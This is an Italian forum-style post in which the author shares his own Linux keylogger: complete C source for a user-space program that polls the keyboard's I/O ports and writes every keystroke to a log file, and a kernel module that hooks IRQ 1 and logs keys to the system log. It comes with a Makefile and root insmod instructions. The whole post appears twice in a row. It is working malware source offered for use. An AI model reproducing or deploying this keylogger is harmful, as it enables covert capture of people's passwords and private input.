Dopo un bel po' di peripezie sono riuscito a completare (ancora provvisoriamente per il riconoscimento di tutti i caratteri da tastiera) il mio keylogger in ambiente Linux e in user space. L'applicazione legge in polling dall'indirizzo di I/O della tastiera e dal registro di stato della tastiera stessa per vedere se è stato inviato un nuovo carattere, e in caso affermativo invia un carattere sul file di log stabilito.
Codice:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <asm/io.h>
#define KB_IO 0x60
#define KB_STATUS 0x64
#define SLEEP_T 50
// Funzione per la conversione di un carattere letto
// dal registro della tastiera in un carattere ASCII
const char get_key(int code) {
// Se il carattere corrisponde a una cifra, lo converto
// nella cifra ASCII corrispondente
if ((code>=2) && (code<=10))
return (char) code+29;
// Switch sulle altre possibilità
switch (code) {
case(11): return '0'; break;
case(12): return '\'';break;
case(13): return 'ì'; break;
case(15): return '\t';break;
case(16): return 'q'; break;
case(17): return 'w'; break;
case(18): return 'e'; break;
case(19): return 'r'; break;
case(20): return 't'; break;
case(21): return 'y'; break;
case(22): return 'u'; break;
case(23): return 'i'; break;
case(24): return 'o'; break;
case(25): return 'p'; break;
case(27): return '+'; break;
case(28): return '\n';break;
case(30): return 'a'; break;
case(31): return 's'; break;
case(32): return 'd'; break;
case(33): return 'f'; break;
case(34): return 'g'; break;
case(35): return 'h'; break;
case(36): return 'j'; break;
case(37): return 'k'; break;
case(38): return 'l'; break;
case(39): return 'ò'; break;
case(40): return 'à'; break;
case(44): return 'z'; break;
case(45): return 'x'; break;
case(46): return 'c'; break;
case(47): return 'v'; break;
case(48): return 'b'; break;
case(49): return 'n'; break;
case(50): return 'm'; break;
case(51): return ','; break;
case(52): return '.'; break;
case(53): return '-'; break;
case(57): return ' '; break;
}
// Se il carattere non è riconosciuto, ritorno 0
return 0;
}
int main (int argc, char **argv) {
int lastcode=0,code=0;
FILE *fp;
// Se non è specificato il file di log, esco
if (argc!=2) {
printf ("%s <logfile>\n",argv[0]);
return 1;
}
// Se il file di log non è scrivibile, esco
if (!(fp=fopen(argv[1],"a"))) {
printf ("Impossibile scrivere su %s\n",argv[0]);
return 2;
}
// Se non posso aprire tramite ioperm() il registro della
// tastiera o il registro di status, esco
if (ioperm(KB_IO,1,1)==-1 || ioperm(KB_STATUS,1,1)==-1) {
printf ("Impossibile accedere alla porta di I/O della tastiera\n");
return 3;
}
// Ciclo di lettura con un intervallo di tempo
// tra una lettura e l'altra costante
while(1) {
code=0;
// Se la tastiera 'ha parlato', leggo il valore inserito
if (inb(KB_STATUS)==20)
code=inb(KB_IO);
// Se è un carattere leggibile, lo converto in ASCII e lo stampo
// sul log
if (code) {
if (code!=lastcode) {
lastcode=code;
if (get_key(code)) {
fprintf (fp,"%c",get_key(code));
fflush (fp);
}
}
}
usleep(SLEEP_T);
}
}
Creata anche una versione come modulo del kernel Linux, che sfrutta il meccanismo del request_irq() provvisto dal kernel e registra ogni tasto premuto su /var/log/messages, con relativa ora e data:
Codice:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/interrupt.h>
#include <asm/uaccess.h>
#include <asm/io.h>
#include <asm/irq.h>
#define MODULE_NAME "kmklogger"
#define KB_IO 0x60
#define KB_STATUS 0x64
const char get_key(int code) {
if ((code>=2) && (code<=10))
return (char) code+29;
switch (code) {
case(11): return '0'; break;
case(12): return '\'';break;
case(13): return 'ì'; break;
case(15): return '\t';break;
case(16): return 'q'; break;
case(17): return 'w'; break;
case(18): return 'e'; break;
case(19): return 'r'; break;
case(20): return 't'; break;
case(21): return 'y'; break;
case(22): return 'u'; break;
case(23): return 'i'; break;
case(24): return 'o'; break;
case(25): return 'p'; break;
case(27): return '+'; break;
case(28): return '\n';break;
case(30): return 'a'; break;
case(31): return 's'; break;
case(32): return 'd'; break;
case(33): return 'f'; break;
case(34): return 'g'; break;
case(35): return 'h'; break;
case(36): return 'j'; break;
case(37): return 'k'; break;
case(38): return 'l'; break;
case(39): return 'ò'; break;
case(40): return 'à'; break;
case(44): return 'z'; break;
case(45): return 'x'; break;
case(46): return 'c'; break;
case(47): return 'v'; break;
case(48): return 'b'; break;
case(49): return 'n'; break;
case(50): return 'm'; break;
case(51): return ','; break;
case(52): return '.'; break;
case(53): return '-'; break;
case(57): return ' '; break;
}
return 0;
}
irqreturn_t irq_handle(int irq, struct pt_regs *reg) {
int code=inb(KB_IO);
printk (KERN_INFO "Key: %c\n",get_key(code));
return IRQ_HANDLED;
}
int __init start(void) {
free_irq(1, NULL);
return request_irq (1,
irq_handle,
SA_SHIRQ,
"my_kbd",
(void*)(irq_handle));
}
void __exit end(void) {
free_irq(1, NULL);
}
module_init(start);
module_exit(end);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("blacklight86@gmail.com");
Per compilarlo, usare questo Makefile:
Codice:
obj-m = key.o
KVERSION = $(shell uname -r)
all:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean
e inserire il modulo come root con il comando
Codice:
insmod key.ko
p.s. Attenzione a non rimuovere il modulo con rmmod dopo averlo inserito: il sistema non può in nessun modo gestire l'IRQ manager originale, la tastiera si ritrova senza gestore e il sistema va in kernel panic.
Codice:
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <asm/io.h>
#define KB_IO 0x60
#define KB_STATUS 0x64
#define SLEEP_T 50
// Funzione per la conversione di un carattere letto
// dal registro della tastiera in un carattere ASCII
const char get_key(int code) {
// Se il carattere corrisponde a una cifra, lo converto
// nella cifra ASCII corrispondente
if ((code>=2) && (code<=10))
return (char) code+29;
// Switch sulle altre possibilità
switch (code) {
case(11): return '0'; break;
case(12): return '\'';break;
case(13): return 'ì'; break;
case(15): return '\t';break;
case(16): return 'q'; break;
case(17): return 'w'; break;
case(18): return 'e'; break;
case(19): return 'r'; break;
case(20): return 't'; break;
case(21): return 'y'; break;
case(22): return 'u'; break;
case(23): return 'i'; break;
case(24): return 'o'; break;
case(25): return 'p'; break;
case(27): return '+'; break;
case(28): return '\n';break;
case(30): return 'a'; break;
case(31): return 's'; break;
case(32): return 'd'; break;
case(33): return 'f'; break;
case(34): return 'g'; break;
case(35): return 'h'; break;
case(36): return 'j'; break;
case(37): return 'k'; break;
case(38): return 'l'; break;
case(39): return 'ò'; break;
case(40): return 'à'; break;
case(44): return 'z'; break;
case(45): return 'x'; break;
case(46): return 'c'; break;
case(47): return 'v'; break;
case(48): return 'b'; break;
case(49): return 'n'; break;
case(50): return 'm'; break;
case(51): return ','; break;
case(52): return '.'; break;
case(53): return '-'; break;
case(57): return ' '; break;
}
// Se il carattere non è riconosciuto, ritorno 0
return 0;
}
int main (int argc, char **argv) {
int lastcode=0,code=0;
FILE *fp;
// Se non è specificato il file di log, esco
if (argc!=2) {
printf ("%s <logfile>\n",argv[0]);
return 1;
}
// Se il file di log non è scrivibile, esco
if (!(fp=fopen(argv[1],"a"))) {
printf ("Impossibile scrivere su %s\n",argv[0]);
return 2;
}
// Se non posso aprire tramite ioperm() il registro della
// tastiera o il registro di status, esco
if (ioperm(KB_IO,1,1)==-1 || ioperm(KB_STATUS,1,1)==-1) {
printf ("Impossibile accedere alla porta di I/O della tastiera\n");
return 3;
}
// Ciclo di lettura con un intervallo di tempo
// tra una lettura e l'altra costante
while(1) {
code=0;
// Se la tastiera 'ha parlato', leggo il valore inserito
if (inb(KB_STATUS)==20)
code=inb(KB_IO);
// Se è un carattere leggibile, lo converto in ASCII e lo stampo
// sul log
if (code) {
if (code!=lastcode) {
lastcode=code;
if (get_key(code)) {
fprintf (fp,"%c",get_key(code));
fflush (fp);
}
}
}
usleep(SLEEP_T);
}
}
Creata anche una versione come modulo del kernel Linux, che sfrutta il meccanismo del request_irq() provvisto dal kernel e registra ogni tasto premuto su /var/log/messages, con relativa ora e data:
Codice:
#include <linux/module.h>
#include <linux/kernel.h>
#include <linux/init.h>
#include <linux/sched.h>
#include <linux/interrupt.h>
#include <asm/uaccess.h>
#include <asm/io.h>
#include <asm/irq.h>
#define MODULE_NAME "kmklogger"
#define KB_IO 0x60
#define KB_STATUS 0x64
const char get_key(int code) {
if ((code>=2) && (code<=10))
return (char) code+29;
switch (code) {
case(11): return '0'; break;
case(12): return '\'';break;
case(13): return 'ì'; break;
case(15): return '\t';break;
case(16): return 'q'; break;
case(17): return 'w'; break;
case(18): return 'e'; break;
case(19): return 'r'; break;
case(20): return 't'; break;
case(21): return 'y'; break;
case(22): return 'u'; break;
case(23): return 'i'; break;
case(24): return 'o'; break;
case(25): return 'p'; break;
case(27): return '+'; break;
case(28): return '\n';break;
case(30): return 'a'; break;
case(31): return 's'; break;
case(32): return 'd'; break;
case(33): return 'f'; break;
case(34): return 'g'; break;
case(35): return 'h'; break;
case(36): return 'j'; break;
case(37): return 'k'; break;
case(38): return 'l'; break;
case(39): return 'ò'; break;
case(40): return 'à'; break;
case(44): return 'z'; break;
case(45): return 'x'; break;
case(46): return 'c'; break;
case(47): return 'v'; break;
case(48): return 'b'; break;
case(49): return 'n'; break;
case(50): return 'm'; break;
case(51): return ','; break;
case(52): return '.'; break;
case(53): return '-'; break;
case(57): return ' '; break;
}
return 0;
}
irqreturn_t irq_handle(int irq, struct pt_regs *reg) {
int code=inb(KB_IO);
printk (KERN_INFO "Key: %c\n",get_key(code));
return IRQ_HANDLED;
}
int __init start(void) {
free_irq(1, NULL);
return request_irq (1,
irq_handle,
SA_SHIRQ,
"my_kbd",
(void*)(irq_handle));
}
void __exit end(void) {
free_irq(1, NULL);
}
module_init(start);
module_exit(end);
MODULE_LICENSE("GPL");
MODULE_AUTHOR("blacklight86@gmail.com");
Per compilarlo, usare questo Makefile:
Codice:
obj-m = key.o
KVERSION = $(shell uname -r)
all:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(KVERSION)/build M=$(PWD) clean
e inserire il modulo come root con il comando
Codice:
insmod key.ko
p.s. Attenzione a non rimuovere il modulo con rmmod dopo averlo inserito: il sistema non può in nessun modo gestire l'IRQ manager originale, la tastiera si ritrova senza gestore e il sistema va in kernel panic.